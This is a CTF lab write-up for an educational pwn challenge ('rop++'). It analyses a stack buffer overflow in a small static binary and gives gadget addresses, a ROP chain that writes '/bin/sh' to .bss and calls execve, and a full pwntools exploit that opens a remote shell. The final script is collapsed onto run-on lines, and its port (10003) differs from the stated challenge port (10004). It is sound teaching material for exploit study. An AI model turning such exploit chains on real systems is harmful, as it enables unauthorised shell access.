Simple PWN - 0x12(Lab - `rop++`)

Simple PWN - 0x12(Lab - rop++)

tags: CTF PWN eductf

challenge: nc edu-ctf.zoolab.org 10004

Original Code

#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main()
{
    char buf[0x10];
    const char *msg = "show me rop\n> ";

    write(1, msg, strlen(msg));
    read(0, buf, 0x200);

    return 0;
}
gcc -fno-stack-protector -static -o chal rop++.c

Analyze

  • Obviously buffer overflow!!!
  • Check protector
      $ checksec chal
      [*] '/home/sbk6401/NTUCS/PWN/Lab/rop++/share/chal'
          Arch:     amd64-64-little
          RELRO:    Partial RELRO
          Stack:    Canary found
          NX:       NX enabled
          PIE:      No PIE (0x400000)
    
  • Preliminary idea is using ROP chain and get shell, but the problem is where can I write /bin/sh\x00? We can use vmmap to observe where section is writable and readable → 0x4c5000~0x4c800
      $ readelf -S chal
      ...
      [25] .bss              NOBITS           00000000004c72a0  000c6290
             0000000000005980  0000000000000000  WA       0     0     32
      ...
    

    We can use `.bss` section(`0x4c72a0`) to write parameter /bin/sh\x00

    • Note that

      , because ASLR is enabled, so we cannot write /bin/sh\x00 to stack, in addition, PIE is unable, so that we can write and read data from .bss section with fixed address

Exploit - ROP

  1. Write ROP chain in buf parameter
     $ ROPgadget --binary chal --only "pop|leave|ret|syscall" --multibr > rop_gadget
     $ vim rop_gadget
    
     pop_rax_ret = 0x447b27
     pop_rdi_ret = 0x401e3f
     pop_rsi_ret = 0x409e6e
     pop_rdx_rbx_ret = 0x47ed0b
     syscall_ret = 0x414506
     leave_ret = 0x401797
    
  2. Construct ROP chain In order to achieve our idea, we need another read to write /bin/sh\x00 to .bss section
     ROP_read = flat(
         # call read function
         pop_rax_ret, 0,
         pop_rdi_ret, 0,
         pop_rsi_ret, 0x4c72a0,
         pop_rdx_rbx_ret, 0x100, 0,
         syscall_ret,    
     )
    

    Then we need another ROP chain to call shell

     ROP_shell = flat(
         # Get shell
         pop_rax_ret, 0x3b,
         pop_rdi_ret, 0x4c72a0,
         pop_rsi_ret, 0,
         pop_rdx_rbx_ret, 0, 0,
         syscall_ret,
    
     )
    
    • Note that 0x4c72a0 is the beginning of .bss section
  3. Send payload
     binsh = 0x68732f6e69622f #'/bin/sh\x00'
     r.sendafter("show me rop\n>", b'a'*0x28 + ROP_read + ROP_shell)
     r.send(flat(binsh))
    
  4. Then we get shell and read flag
    • Whole exploit :::spoiler code ```python! from pwn import *

    #r = process(‘./chal’) r = remote(‘edu-ctf.zoolab.org’, 10003) raw_input() context.arch = ‘amd64’

    pop_rax_ret = 0x447b27 pop_rdi_ret = 0x401e3f pop_rsi_ret = 0x409e6e pop_rdx_rbx_ret = 0x47ed0b syscall_ret = 0x414506 leave_ret = 0x401797

    binsh = 0x68732f6e69622f #’/bin/sh\x00’

    ROP_read = flat( # call read function pop_rax_ret, 0, pop_rdi_ret, 0, pop_rsi_ret, 0x4c72a0, pop_rdx_rbx_ret, 0x100, 0, syscall_ret,
    )

    ROP_shell = flat( # Get shell pop_rax_ret, 0x3b, pop_rdi_ret, 0x4c72a0, pop_rsi_ret, 0, pop_rdx_rbx_ret, 0, 0, syscall_ret,

    )

    r.sendafter(“show me rop\n>”, b’a’*0x28 + ROP_read + ROP_shell) r.send(flat(binsh))

    r.interactive() ``` :::

Appendix

This payload will call sys_read and read something that we send, that is 0x68732f6e69622f(/bin/sh\x00), and then it’ll call sys_execve.